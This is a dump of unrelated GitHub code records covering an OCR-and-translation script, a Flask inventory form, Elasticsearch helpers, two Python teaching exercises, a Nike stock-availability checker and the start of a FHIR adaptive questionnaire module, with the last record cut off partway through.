]","repo_name":"unibucMrz/licenta","sub_path":"fitness/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9867053051","text":"\n# coding: utf-8\n\n# # Projekat - Prevodilac\n\n# ### Imports\n\nimport numpy as np\nimport cv2 # OpenCV\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport collections\nfrom skimage.filters import threshold_local\nfrom googletrans import Translator\nimport pytesseract\n#pytesseract.pytesseract.tesseract_cmd = r'/home/student/anaconda3/lib/python3.6/site-packages/pytesseract/pytesseract.py'\n\nfrom IPython.core.display import display, HTML\ndisplay(HTML(\"\"))\n\n# iscrtavanje slika u notebook-u\nget_ipython().run_line_magic('matplotlib', 'inline')\n# prikaz vecih slika\nmatplotlib.rcParams['figure.figsize'] = 20,16\n\n# keras\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation\nfrom keras.optimizers import SGD\n\n#scikit\nfrom sklearn.cluster import KMeans\n\n\n# ### Image processing methods\n\ndef load_image(path):\n return cv2.cvtColor(cv2.imread(path), cv2.COLOR_BGR2RGB)\n\ndef image_gray(image):\n return cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n\ndef image_bin(image_gs):\n height, width = image_gs.shape[0:2]\n image_binary = np.ndarray((height, width), dtype=np.uint8)\n ret, image_bin = cv2.threshold(image_gs, 127, 255, cv2.THRESH_BINARY)\n \n return image_bin\n\ndef invert(image):\n return 255-image\n\ndef display_image(image, color=False, aspect='equal'):\n if color:\n plt.imshow(image, aspect=aspect)\n else:\n plt.imshow(image, 'gray', aspect=aspect)\n\ndef dilate(image):\n kernel = np.ones((3, 3)) # strukturni element 3x3 blok\n return cv2.dilate(image, kernel, iterations=1)\n\ndef erode(image):\n kernel = np.ones((3, 3)) # strukturni element 3x3 blok\n return cv2.erode(image, kernel, iterations=1)\n\ndef preprocess(img, blur=\"none\", thr=\"otsu\", remove_noise=True):\n if blur == \"median\":\n img = cv2.medianBlur(img,5)\n elif blur == \"gauss\":\n img = cv2.GaussianBlur(img,(5,5),0)\n \n img = image_gray(img)\n \n if thr == \"otsu\":\n ret,img = cv2.threshold(img,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)\n elif thr == \"mean\":\n img = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 11, 2)\n elif thr == \"gauss\":\n img = cv2.adaptiveThreshold(img, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 11, 2)\n elif thr == \"scikit\":\n T = threshold_local(img, 11, offset = 10, method = \"gaussian\")\n img = (img > T).astype(\"uint8\") * 255\n else:\n img = image_bin(img)\n \n# if remove_noise == True:\n# if invert_image:\n# img = dilate(erode(img))\n# else:\n# img = erode(dilate(img))\n \n# if invert_image:\n# img = invert(img)\n \n if remove_noise == True:\n img = dilate(erode(img))\n \n img = invert(img)\n \n return img\n\ndef resize_region(region):\n return cv2.resize(region, (28, 28), interpolation=cv2.INTER_NEAREST)\n\ndef scale_to_range(image):\n return image/255\n\ndef matrix_to_vector(image):\n return image.flatten()\n\ndef prepare_for_ann(regions):\n ready_for_ann = []\n for region in regions:\n scale = scale_to_range(region)\n ready_for_ann.append(matrix_to_vector(scale))\n return ready_for_ann\n\ndef convert_output(alphabet):\n nn_outputs = []\n for index in range(len(alphabet)):\n output = np.zeros(len(alphabet))\n output[index] = 1\n nn_outputs.append(output)\n return np.array(nn_outputs)\n\ndef create_ann(output_size):\n ann = Sequential()\n ann.add(Dense(128, input_dim=784, activation='sigmoid'))\n ann.add(Dense(output_size, activation='sigmoid'))\n return ann\n\ndef train_ann(ann, X_train, y_train, epochs):\n X_train = np.array(X_train, np.float32) # dati ulaz\n y_train = np.array(y_train, np.float32) # zeljeni izlazi na date ulaze\n \n print(\"\\nTraining started...\")\n sgd = SGD(lr=0.01, momentum=0.9)\n ann.compile(loss='mean_squared_error', optimizer=sgd)\n ann.fit(X_train, y_train, epochs=epochs, batch_size=1, verbose=0, shuffle=False)\n print(\"\\nTraining completed...\")\n return ann\n\ndef winner(output):\n return max(enumerate(output), key=lambda x: x[1])\n\ndef get_contour_precedence(origin, cols):\n tolerance_factor = 10\n #temp = origin[1] + origin[3]/2\n return ((origin[1] // tolerance_factor) * tolerance_factor) * cols + origin[0]\n\ndef sort_regions_sophisticated(regions):\n regions = sorted(regions, key=lambda x: x[1][1])\n breaks = [0]\n \n for i in range(len(regions)-1):\n current_reg = regions[i]\n next_reg = regions[i+1]\n if(next_reg[1][1] > (current_reg[1][1]+current_reg[1][3])):\n breaks.append(i+1)\n\n breaks.append(len(regions))\n \n for i in range(len(breaks)-1):\n regions[breaks[i]:breaks[i+1]] = sorted(regions[breaks[i]:breaks[i+1]], key=lambda x: x[1][0])\n \n return regions\n \ndef get_words(image_bin, regions):\n imgh, imgw = image_bin.shape[0:2]\n maxh = max(regions, key=lambda x: x[1][3])[1][3]\n count = 0\n words = []\n expected_contours = imgh // (maxh*1.2) # ocekivani broj redova, uzmimo da se tekst nalazi blizu ivica: visina slike / najveca visina slova povecana za razmak\n \n while True:\n image_bin = dilate(image_bin) \n img, contours, hierarchy = cv2.findContours(image_bin.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n words = []\n for contour in contours:\n x, y, w, h = cv2.boundingRect(contour)\n area = cv2.contourArea(contour)\n if area > 50 and h > 10 and w > 5: \n words.append((x, y, w, h))\n #cv2.rectangle(image_orig, (x, y), (x+w, y+h), (0, 255, 0), 2)\n \n count = len(words)\n \n if count >= expected_contours-2 or count <= expected_contours+2:\n return words\n \n\ndef sort_regions(image_bin, regions):\n words = get_words(image_bin, regions)\n words = sorted(words, key=lambda x: get_contour_precedence(x, image_bin.shape[1]))\n sorted_regions = []\n \n for word in words:\n word_array = []\n idxs = []\n for idx,region in enumerate(regions): \n if region[1][0] > word[0] and (region[1][0]+region[1][2]) < (word[0]+word[2]) and region[1][1] > word[1] and (region[1][1]+region[1][3]) < (word[1]+word[3]):\n word_array.append(region)\n idxs.append(idx)\n \n word_array = sorted(word_array, key=lambda x: x[1][0])\n sorted_regions.extend(word_array)\n \n regions = [reg for idx,reg in enumerate(regions) if idx not in idxs]\n \n return sorted_regions\n\ndef crop_and_warp(original, img):\n preprocessed = img.copy()\n imgh, imgw = img.shape[0:2]\n img_size = imgh*imgw\n regions = []\n\n while True:\n regions = []\n img = dilate(img)\n image, contours, hierarchy = cv2.findContours(img.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n for contour in contours:\n #x, y, w, h = cv2.boundingRect(contour)\n\n rect = cv2.minAreaRect(contour)\n w = rect[1][0]\n h = rect[1][1]\n box = cv2.boxPoints(rect)\n\n area = cv2.contourArea(contour)\n if area > img_size*0.1 or w > imgw*0.2 or h > imgh*0.1: \n regions.append((box, area))\n #cv2.rectangle(image_orig, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n if len(regions) == 0:\n continue\n\n regions = sorted(regions, key=lambda x: x[1])\n max_reg = regions[-1]\n if max_reg[1] > img_size*0.6:\n break\n\n box = max_reg[0]\n box = np.int0(box)\n cv2.drawContours(original,[box],-1,(0,255,0),3)\n rect = order_points(box)\n cropped = warp_perspective(preprocessed, rect)\n\n return cropped\n\ndef handle_kukice(image_bin, regions_array, sort=\"smart\"):\n regions_temp = []\n region_heights = [region[1][3] for region in regions_array]\n region_heights = np.array(region_heights).reshape(len(region_heights), 1)\n k_means = KMeans(n_clusters=2, max_iter=2000, tol=0.00001, n_init=10)\n \n try:\n k_means.fit(region_heights)\n except Exception:\n return regions_array\n \n kukice_group = min(enumerate(k_means.cluster_centers_), key=lambda x: x[1])[0]\n idx_to_avoid = []\n for idx, reg in enumerate(regions_array):\n if k_means.labels_[idx] == kukice_group:\n found = False\n for idx_search, reg_search in enumerate(regions_array):\n if reg_search[1][0] != reg[1][0] and reg_search[1][1] != reg[1][1]:\n if reg[1][0] > (reg_search[1][0]-reg[1][2]/2) and (reg[1][0]+reg[1][2]) < (reg_search[1][0]+reg_search[1][2]+reg[1][2]/2) and (reg_search[1][1]-reg[1][1]-reg[1][3]) < (reg_search[1][3]*0.5) and reg[1][3] < reg_search[1][3]:\n newx = reg_search[1][0]\n newy = reg[1][1]\n neww = reg_search[1][2]\n newh = reg_search[1][1] + reg_search[1][3] - reg[1][1]\n \n region = image_bin[newy:newy+newh+1, newx:newx+neww+1]\n \n # print(\"Shape\", region.shape[0:2])\n try:\n regions_temp.append([resize_region(region), (newx, newy, neww, newh)])\n idx_to_avoid.append(idx_search)\n idx_to_avoid.append(idx)\n \n found = True\n except Exception:\n pass\n \n # izbacivanje starih\n regions_array = [reg for idx,reg in enumerate(regions_array) if idx not in idx_to_avoid]\n regions_array.extend(regions_temp)\n \n # sortiranje\n if sort == \"smart\":\n regions_array = sort_regions_sophisticated(regions_array)\n else:\n regions_array = sort_regions(image_bin, regions_array)\n \n return regions_array\n \ndef draw_regions(image_orig, regions_array):\n for idx,reg in enumerate(regions_array):\n cv2.rectangle(image_orig, (reg[1][0], reg[1][1]), (reg[1][0]+reg[1][2], reg[1][1]+reg[1][3]), (0, 255, 0), 2)\n cv2.putText(image_orig, str(idx),(reg[1][0]-5, reg[1][1]), cv2.FONT_HERSHEY_SIMPLEX, 0.8,(0,255,0),1,cv2.LINE_AA)\n\ndef get_distances(regions_array):\n region_distances = []\n sorted_rectangles = [region[1] for region in regions_array]\n # izdvojiti sortirane parametre opisujucih pravougaonika\n # izracunati rastojanja izmedju svih susednih regiona po X osi i dodati ih u niz rastojanja\n for index in range(0, len(sorted_rectangles) - 1):\n current = sorted_rectangles[index]\n next_rect = sorted_rectangles[index + 1]\n distance = abs(next_rect[0] - (current[0] + current[2])) # x_next - (x_current + w_current)\n region_distances.append(distance)\n \n return region_distances;\n \ndef select_roi_with_distances(image_orig, image_bin, kukice=True, sort=\"smart\"):\n img, contours, hierarchy = cv2.findContours(image_bin.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n regions_array = []\n for contour in contours:\n x, y, w, h = cv2.boundingRect(contour)\n area = cv2.contourArea(contour)\n if area > 50 and h > 10 and w > 5:\n region = image_bin[y:y+h+1, x:x+w+1]\n regions_array.append([resize_region(region), (x, y, w, h)])\n #cv2.rectangle(image_orig, (x, y), (x+w, y+h), (0, 255, 0), 2)\n \n #draw_regions(image_orig, regions_array)\n \n # sortiranje\n if sort == \"smart\":\n regions_array = sort_regions_sophisticated(regions_array)\n else:\n regions_array = sort_regions(image_bin, regions_array)\n \n # pronalazenje kukica i dodavanje na slova\n if kukice:\n regions_array = handle_kukice(image_bin, regions_array, sort)\n \n # obelezavanje regiona\n draw_regions(image_orig, regions_array)\n \n sorted_regions = [region[0] for region in regions_array]\n bounding_rects = [region[1] for region in regions_array]\n region_distances = get_distances(regions_array)\n \n return image_orig, sorted_regions, bounding_rects, region_distances\n\ndef display_result_with_spaces(outputs, alphabet, k_means, img, contours, display=True):\n # odredjivanje indeksa grupe koja odgovara rastojanju izmedju reci\n w_new_line_group = sorted(enumerate(k_means.cluster_centers_), key=lambda x: x[1])[-1][0]\n w_space_group = sorted(enumerate(k_means.cluster_centers_), key=lambda x: x[1])[-2][0]\n result = alphabet[winner(outputs[0])[0]]\n # iterativno dodavanje prepoznatih elemenata\n # dodavanje space karaktera ako je rastojanje izmedju dva slova odgovara rastojanju izmedju reci\n for idx, output in enumerate(outputs[1:, :]):\n if k_means.labels_[idx] == w_new_line_group:\n result += '\\n'\n elif k_means.labels_[idx] == w_space_group:\n result += ' '\n result_index, result_percentage = winner(output)\n result_letter = alphabet[result_index]\n result += result_letter\n \n if display:\n reg = contours[idx]\n cv2.rectangle(img, (reg[0], reg[1]), (reg[0]+reg[2], reg[1]+reg[3]), (0, 0, 255), 2)\n cv2.putText(img, result_letter+\": \"+str(result_percentage), (reg[0]-10, reg[1]), cv2.FONT_HERSHEY_SIMPLEX, 1.2,(0,0,255),2,cv2.LINE_AA)\n return result\n\ndef display_result_with_spaces_only(outputs, alphabet, k_means): \n w_space_group = max(enumerate(k_means.cluster_centers_), key=lambda x: x[1])[0]\n result = alphabet[winner(outputs[0])]\n for idx, output in enumerate(outputs[1:, :]):\n if k_means.labels_[idx] == w_space_group:\n result += ' '\n result += alphabet[winner(output)]\n return result\n\n\n# ### Perspective warping methods\n\ndef get_corners(image):\n img = image.copy()\n for i in range(20):\n img = dilate(img)\n \n display_image(img)\n img, contours, hierarchy = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n regions_array = []\n for contour in contours:\n # x, y, w, h = cv2.boundingRect(contour)\n rect = cv2.minAreaRect(contour)\n w = rect[1][0]\n h = rect[1][1]\n box = cv2.boxPoints(rect)\n \n area = cv2.contourArea(contour)\n if area > 50 and h < 150 and h > 10 and w > 5:\n regions_array.extend(box)\n \n regions_x = sorted(regions_array, key=lambda x: x[0])\n regions_y = sorted(regions_array, key=lambda x: x[1])\n \n minx = regions_x[0]\n maxx = regions_x[-1]\n miny = regions_y[0]\n maxy = regions_y[-1]\n \n return [minx, maxx, miny, maxy]\n\ndef order_points(pts):\n rect = np.zeros((4, 2), dtype = \"float32\")\n\n s = pts.sum(axis = 1)\n rect[0] = pts[np.argmin(s)]\n rect[2] = pts[np.argmax(s)]\n\n diff = np.diff(pts, axis = 1)\n rect[1] = pts[np.argmin(diff)]\n rect[3] = pts[np.argmax(diff)]\n\n return rect\n\ndef warp_perspective(image, pts):\n # rect = order_points(pts)\n rect = pts\n (tl, tr, br, bl) = rect\n\n widthA = np.sqrt(((br[0] - bl[0]) ** 2) + ((br[1] - bl[1]) ** 2))\n widthB = np.sqrt(((tr[0] - tl[0]) ** 2) + ((tr[1] - tl[1]) ** 2))\n maxWidth = max(int(widthA), int(widthB))\n\n heightA = np.sqrt(((tr[0] - br[0]) ** 2) + ((tr[1] - br[1]) ** 2))\n heightB = np.sqrt(((tl[0] - bl[0]) ** 2) + ((tl[1] - bl[1]) ** 2))\n maxHeight = max(int(heightA), int(heightB))\n\n dst = np.array([\n [0, 0],\n [maxWidth - 1, 0],\n [maxWidth - 1, maxHeight - 1],\n [0, maxHeight - 1]], dtype = \"float32\")\n\n M = cv2.getPerspectiveTransform(rect, dst)\n warped = cv2.warpPerspective(image, M, (maxWidth, maxHeight))\n\n return warped\n\n\n# ### Testing methods\n\ndef do_testing():\n\t# test resize \n\ttest_resize_img = load_image('images/test_resize.png')\n\ttest_resize_ref = (28, 28)\n\ttest_resize_res = resize_region(test_resize_img).shape[0:2]\n\tprint(\"Test resize passsed: \", test_resize_res == test_resize_ref)\n\n\t# test scale\n\ttest_scale_matrix = np.array([[0, 255], [51, 153]], dtype='float')\n\ttest_scale_ref = np.array([[0., 1.], [0.2, 0.6]], dtype='float')\n\ttest_scale_res = scale_to_range(test_scale_matrix)\n\tprint(\"Test scale passed: \", np.array_equal(test_scale_res, test_scale_ref))\n\n\t# test matrix to vector\n\ttest_mtv = np.ndarray((28, 28))\n\ttest_mtv_ref = (784, )\n\ttest_mtv_res = matrix_to_vector(test_mtv).shape\n\tprint(\"Test matrix to vector passed: \", test_mtv_res == test_mtv_ref)\n\n\t# test convert\n\ttest_convert_alphabet = [0, 1, 2]\n\ttest_convert_ref = np.array([[1, 0, 0], [0, 1, 0], [0, 0, 1]], dtype='float')\n\ttest_convert_res = convert_output(test_convert_alphabet).astype('float')\n\tprint(\"Test convert output: \", np.array_equal(test_convert_res, test_convert_ref))\n\n\t# test winner\n\ttest_winner_output = [0., 0.2, 0.3, 0.95]\n\ttest_winner_ref = 3\n\ttest_winner_res = winner(test_winner_output)[0]\n\tprint(\"Test winner passed: \", test_winner_res == test_winner_ref)\n\n\n# ### Training methods\n\ndef do_training(scope):\n alphabet = \"QWERTYUIOPASDFGHJKLZXCVBNMŠĐČĆŽqwertyuiopasdfghjklzxcvbnmšđčćž0123456789\"\n alphabet = [c for c in alphabet]\n outputs = convert_output(alphabet)\n ann = create_ann(len(alphabet))\n\n for i in range(1,scope+1):\n file_name = \"train/train\" + str(i) + \".png\"\n try:\n image_color = load_image(file_name) # 1,2,3,4,5\n except Exception:\n print(\"File \" + file_name + \" not found!\")\n continue\n img = preprocess(image_color)\n\n selected, letters, contours, distances = select_roi_with_distances(image_color, img)\n #display_image(selected)\n\n if len(letters) != len(alphabet):\n print(\"Letters and alphabet size dont match for file\", file_name)\n continue\n\n inputs = prepare_for_ann(letters)\n print(\"\\nTrain for\", file_name)\n ann = train_ann(ann, inputs, outputs, 2000)\n \n return ann\n \n\n\n# ### Validation methods\n\ndef do_magic(ann, file_name, display=True, thr=\"otsu\", blur=\"none\", remove_noise=True):\n image_color = load_image(file_name)\n img = preprocess(image_color.copy(), blur, thr, remove_noise)\n\n cropped = crop_and_warp(image_color, img)\n\n selected, letters, contours, distances = select_roi_with_distances(image_color.copy(), cropped)\n \n if(len(letters) == 0):\n #img = preprocess(image_color.copy(), blur, thr, remove_noise, invert_image=False)\n img = invert(img)\n cropped = crop_and_warp(image_color, img)\n selected, letters, contours, distances = select_roi_with_distances(image_color.copy(), cropped)\n \n if display:\n display_image(image_color)\n\n distances = np.array(distances).reshape(len(distances), 1)\n k_means = KMeans(n_clusters=3, max_iter=2000, tol=0.00001, n_init=10)\n inputs = prepare_for_ann(letters)\n alphabet = \"QWERTYUIOPASDFGHJKLZXCVBNMŠĐČĆŽqwertyuiopasdfghjklzxcvbnmšđčćž0123456789\"\n alphabet = [c for c in alphabet]\n try:\n k_means.fit(distances)\n except Exception:\n print(\"Image not suitable for text extraction. Try again :)\")\n return \"\"\n \n result = ann.predict(np.array(inputs, np.float32))\n return display_result_with_spaces(result, alphabet, k_means, image_color, contours)\n\ndef do_tesseract(file_name):\n image_color = load_image(file_name)\n display_image(image_color)\n text = pytesseract.image_to_string(image_color)\n return text\n\n\n# ### Translate methods\n\ndef translate(text, src=\"en\", dest=\"sr\"):\n translator = Translator()\n result = translator.translate(text, src=src, dest=dest)\n return result.text\n \n\n\n# # Run\n\n# ##### 1. Train\nann = do_training(6) # parametar metode je koliko trening fajlova da se pokrije\n\n# ##### 2. Validate\nfile_name = \"test/test1.jpg\"\ntext = do_magic(ann, file_name)\nprint(text)\n\n# ##### 3. Translate\nprint(translate(text))\n\n","repo_name":"vulevule/ocr-translate","sub_path":"Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":19906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26466370475","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, IntegerField, FloatField, TextAreaField\nfrom wtforms.validators import DataRequired, Regexp, NumberRange\n\nclass AddItemForm(FlaskForm):\n name = StringField('Item Name', validators=[DataRequired(message=\"Item name is required\")])\n description = TextAreaField('Item Description')\n total = IntegerField('Total Number of Items', validators=[NumberRange(min=0, message=\"Total inventory of item is required.\")])\n halfDay = StringField('Half Day', validators=[Regexp('^\\s*\\d*\\s*$', message=\"Must be blank or a number\")])\n day = StringField('Day', validators=[Regexp('^\\s*\\d*\\s*$', message=\"Must be blank or a number\")])\n week = StringField('Week', validators=[Regexp('^\\s*\\d*\\s*$', message=\"Must be blank or a number\")])\n month = StringField('Month', validators=[Regexp('^\\s*\\d*\\s*$', message=\"Must be blank or a number\")])\n submit = SubmitField('Submit')","repo_name":"sdeen1/flask-inventory-module","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3544544301","text":"# Задача 4: Задайте два целых числа. Напишите программу, которая найдёт \n# НОК (наименьшее общее кратное) этих двух чисел.\n\ndef f(a, b):\n greater = max(a, b)\n while(True):\n if not greater%a and not greater%b: \n return greater\n greater +=1\n \na = 18\nb = 15\nprint(f'НОК чисел {a} и {b} = {f(a ,b)}')","repo_name":"PaulMart85/PythonLessons","sub_path":"Seminar4_Py/task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5973643753","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom elasticsearch import ElasticsearchException\nfrom elasticsearch.helpers import bulk\nimport traceback\n\n\ndef create_index(es, index, index_alias, settings={}, mappings={}):\n try:\n if not es.indices.exists(index=index):\n # Ignore 400 cause by IndexAlreadyExistsException when creating an index\n es.indices.create(index=index, body=settings, ignore=400)\n es.indices.create(index=index, body=mappings, ignore=400)\n es.indices.put_alias(index=index, name=index_alias)\n except ElasticsearchException as e:\n print('ES Error: {0}'.format(e.error))\n return False\n except Exception:\n print(\"Generic Exception: {}\".format(traceback.format_exc()))\n return False\n except:\n print(\"create_index error\")\n return False\n\n\ndef send_bulk(es, body, index, doctype, err=False):\n try:\n bulk(es, body, index=index, doc_type=doctype, raise_on_error=err)\n except ElasticsearchException as e:\n print('ES Error: {0}'.format(e.error))\n except Exception:\n print(\"Generic Exception: {}\".format(traceback.format_exc()))\n except:\n print(\"send_bulk error\")\n return False\n","repo_name":"mobidyc/wallet_viewer","sub_path":"resources/elastic.py","file_name":"elastic.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3378512125","text":"## QUESTÃO 6 ##\n# Escreva um programa que calcule a porcentagem de nucleotídeos A, C, G e T em \n# uma cadeia de DNA informada pelo usuário. Indicar também a quantidade e a \n# porcentagem de nucleotídeos inválidos.\n##\n\n\n##\n# A sua resposta da questão deve ser desenvolvida dentro da função main()!!! \n# Deve-se substituir o comado print existente pelo código da solução.\n# Para a correta execução do programa, a estrutura atual deve ser mantida,\n# substituindo apenas o comando print(questão...) existente.\n##\ndef main():\n print(\"questao 6\")\n\n cadeia_dna = str(input(\"Digite a cadeia de DNA: \"))\ncont_A = cadeia_dna.count(\"A\")\ncont_C = cadeia_dna.count(\"C\")\ncont_G = cadeia_dna.count(\"G\")\ncont_T = cadeia_dna.count(\"T\")\nsoma_cont = cont_A + cont_T + cont_C + cont_G\ntodos_carac = len(cadeia_dna)\nporc_A = (100 * cont_A) / todos_carac\nporc_C = (100 * cont_C) / todos_carac\nporc_G = (100 * cont_G) / todos_carac\nporc_T = (100 * cont_T) / todos_carac\nquant_inv = todos_carac - soma_cont\nporc_inv = (100 * quant_inv) / todos_carac\nif quant_inv == 0:\n print(\"\"\"A porcentagem de nucleotídeos A é: {}%\n de nucleotídeos C é: {}%\n de nucleotídeos G é: {}%\n de nucleotídeos T é: {}%\n Não tem nucleotídeos invalidos na cadeia de DNA informada.\"\"\".format(porc_A, porc_C, porc_G, porc_T))\nelse:\n print(\"\"\"A porcentagem de nucleotídeos A é: {}%\n de nucleotídeos C é: {}%\n de nucleotídeos G é: {}%\n de nucleotídeos T é: {}%\n A quantidade de nucleotídeos invalidos é de {} e a porcentagem de {}%.\"\"\".format(porc_A, porc_C, porc_G, porc_T, quant_inv, porc_inv))\n\n \nif __name__ == '__main__':\n main()\n","repo_name":"cesarschool/cesar-school-fp-lista-de-exercicios-02-GuilhermeAO","sub_path":"questoes/questao_6.py","file_name":"questao_6.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"660530747","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nimport requests\nimport datetime\nimport time\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.header import Header\n\n\ndef alarm_email():\n from_addr = '发件邮箱@163.com'\n password = '邮箱系统开启IMAP/SMTP服务后提供的密码'\n to_addr = '收件邮箱@qq.com'\n smtp_server = 'smtp.163.com'\n msg = MIMEText('正文', 'plain', 'utf-8')\n msg['From'] = Header(from_addr)\n msg['To'] = Header(to_addr)\n msg['Subject'] = Header('标题')\n server = smtplib.SMTP_SSL()\n server.connect(smtp_server, 465)\n server.login(from_addr, password)\n server.sendmail(from_addr, to_addr, msg.as_string())\n server.quit()\n print('已发送邮件')\n \n \ndef check():\n print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))\n url='https://api.nike.com/customization/builder_availability/v1?filter=countryCode(CN)&filter=locale(zh_CN)&filter=pathName(af1LowEssSP20)&channelId=public'\n headers = {'nike-api-caller-id': 'com.nike:commerce.idpdp.mobile'}\n res =requests.get(url=url, headers = headers)\n res_json = res.json()\n try:\n if \"objects\" in res_json:\n info=res_json[\"objects\"][0]\n if info[\"shortMessage\"].find(\"售罄\")!=-1:\n print(\"卖完了\")\n else:\n sizes_table=info[\"sizes\"]\n quantity= int(sizes_table[\"5.5\"][\"quantity\"])\n print(\"35.5数量:\",quantity)\n if quantity!=0:\n import subprocess\n subprocess.call(\"D:\\PotPlayer\\PotPlayerMini.exe D:\\PotPlayer\\/alarm.mp3\")\n except Exception:\n print(\"error!\")\n\n\nwhile(1):\n check()\n time.sleep(10)\n","repo_name":"metang326/nike_by_you_check","sub_path":"get.py","file_name":"get.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"69916118227","text":"#! /usr/bin/env python3.4\n\n# ========================== imports =========================\nimport json\nimport random\nfrom datetime import datetime\nfrom pdb import set_trace as bp\nimport fhirtemplates as f\nimport fhirclient.models.questionnaire as Q\nimport fhirclient.models.questionnaireresponse as QR\nimport fhirclient.models.fhirdate as FD\nimport fhirclient.models.quantity as QT\n# import fhirclient.models.codeableconcept as CC\nimport fhirclient.models.fhirreference as Ref\nimport fhirclient.models.extension as Ext\nfrom fhirclient.models.fhirabstractbase import FHIRValidationError\n\nimport logging\n# logging.disable(logging.CRITICAL)\nlogging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')\nlogging.debug('Start of program')\nlogging.info('The logging module is working.')\n\nintro = '''
\n

{t} Adaptive View

\n

NOTE: These examples are for educational and testing purposes,\n see the form copyright statement and do not redistribute without expressed\n permission from the form author.

\n

This simulates is a simple adaptive questionnaire implementation.\n After answering and submitting the first question another question is randomly\n returned from the selected questionnaire. This is repeated two more times and\n then the adaptive questionnaire will finish by changing the status to completed\n and returning a score. Note that although these questionnaires are designed as forms and\n are not really appropriate for the adaptive questionnaire use case, they are used here to\n demonstrate a proof of concept implementation.
\n Questionnaire URL: {q}
\n Date Completed: {d}

\n Copyright: {c}

\n
'''\n\nqr = QR.QuestionnaireResponse(f.qr_templ)\nt_score = ''\n\nanswer_type = {\n 'boolean': 'valueBoolean',\n 'decimal': 'valueDecimal',\n 'integer': 'valueInteger',\n 'date': 'valueDate',\n 'dateTime': 'valueDateTime',\n 'time': 'valueTime',\n 'string': 'valueString',\n 'text': 'valueString',\n 'url': 'valueUri',\n 'choice': 'valueCoding',\n 'open-choice': 'valueCoding', # TODO need to fix this\n 'attachment': 'valueAttachment',\n 'reference': 'valueReference',\n 'quantity': 'valueString', # TODO need to fix this\n}\n\nheader = {\n 'group': 'Group',\n 'display': 'Display',\n 'boolean': 'Question',\n 'decimal': 'Question',\n 'integer': 'Question',\n 'date': 'Question',\n 'dateTime': 'Question',\n 'time': 'Question',\n 'string': 'Question',\n 'text': 'Question',\n 'url': 'Question',\n 'attachment': 'Question',\n 'reference': 'Question',\n 'quantity': 'Question',\n 'choice': 'Question',\n 'open-choice': 'Question'\n}\n# note open-choice can be a value string too\n\n\ndef get_aqr_score():\n return(t_score)\n\ndef none_filter(input):\n if input == None:\n return('')\n else:\n return(input)\n\n\ndef get_item_list(cq,i):\n item = cq.item[i]\n return([item])\n\n\ndef pop_pop(item,n): # pop n times\n for i in range(n):\n item.pop(-1)\n return(item)\n\n\ndef get_hidden_score(cq_item):\n q_item = Q.QuestionnaireItem({'linkId': 'score', 'type': 'integer'})\n q_item.text = 'Cumulative Score is ...'\n q_item.repeats = False\n q_item.readOnly = True\n q_item.extension = []\n q_item.extension.append(getextension('http://hl7.org/fhir/StructureDefinition/questionnaire-hidden', 'valueBoolean', True)) # fhirextension\n q_item.extension.append(getextension('http://fhir.org/guides/argonaut-questionnaire/StructureDefinition/extension-itemOrder',\n 'valueInteger', 1)) # fhirextension\n cq_item.append(q_item)\n return()\n\ndef get_hidden_stddev(cq_item):\n q_item = Q.QuestionnaireItem({'linkId': 'std_dev', 'type': 'decimal'})\n q_item.text = 'Standard Deviation is ...'\n q_item.repeats = False\n q_item.readOnly = True\n q_item.extension = []\n q_item.extension.append(getextension('http://hl7.org/fhir/StructureDefinition/questionnaire-hidden', 'valueBoolean', True)) # fhirextension\n q_item.extension.append(getextension('http://fhir.org/guides/argonaut-questionnaire/StructureDefinition/extension-itemOrder',\n 'valueInteger', 2)) # fhirextension\n cq_item.append(q_item)\n return()\n\n\ndef get_itemorder(cq_item, o_num):\n try: #assume already has itemOrder\n for ext in cq_item.extension:\n if ext.url == \"http://fhir.org/guides/argonaut-questionnaire/StructureDefinition/extension-itemOrder\":\n ext.valueInteger = o_num\n ordered = True\n if not ordered:\n cq_item.extension.append(getextension('http://fhir.org/guides/argonaut-questionnaire/StructureDefinition/extension-itemOrder',\n 'valueInteger', 3)) # fhirextension\n except AttributeError:\n cq_item.extension.append(getextension('http://fhir.org/guides/argonaut-questionnaire/StructureDefinition/extension-itemOrder',\n 'valueInteger', 3)) # fhirextension\n\n\n\n\ndef get_q_items(q_items, q_items_list=None): # list of all item with a linkId containing '.q'\n if q_items_list is None:\n q_items_list 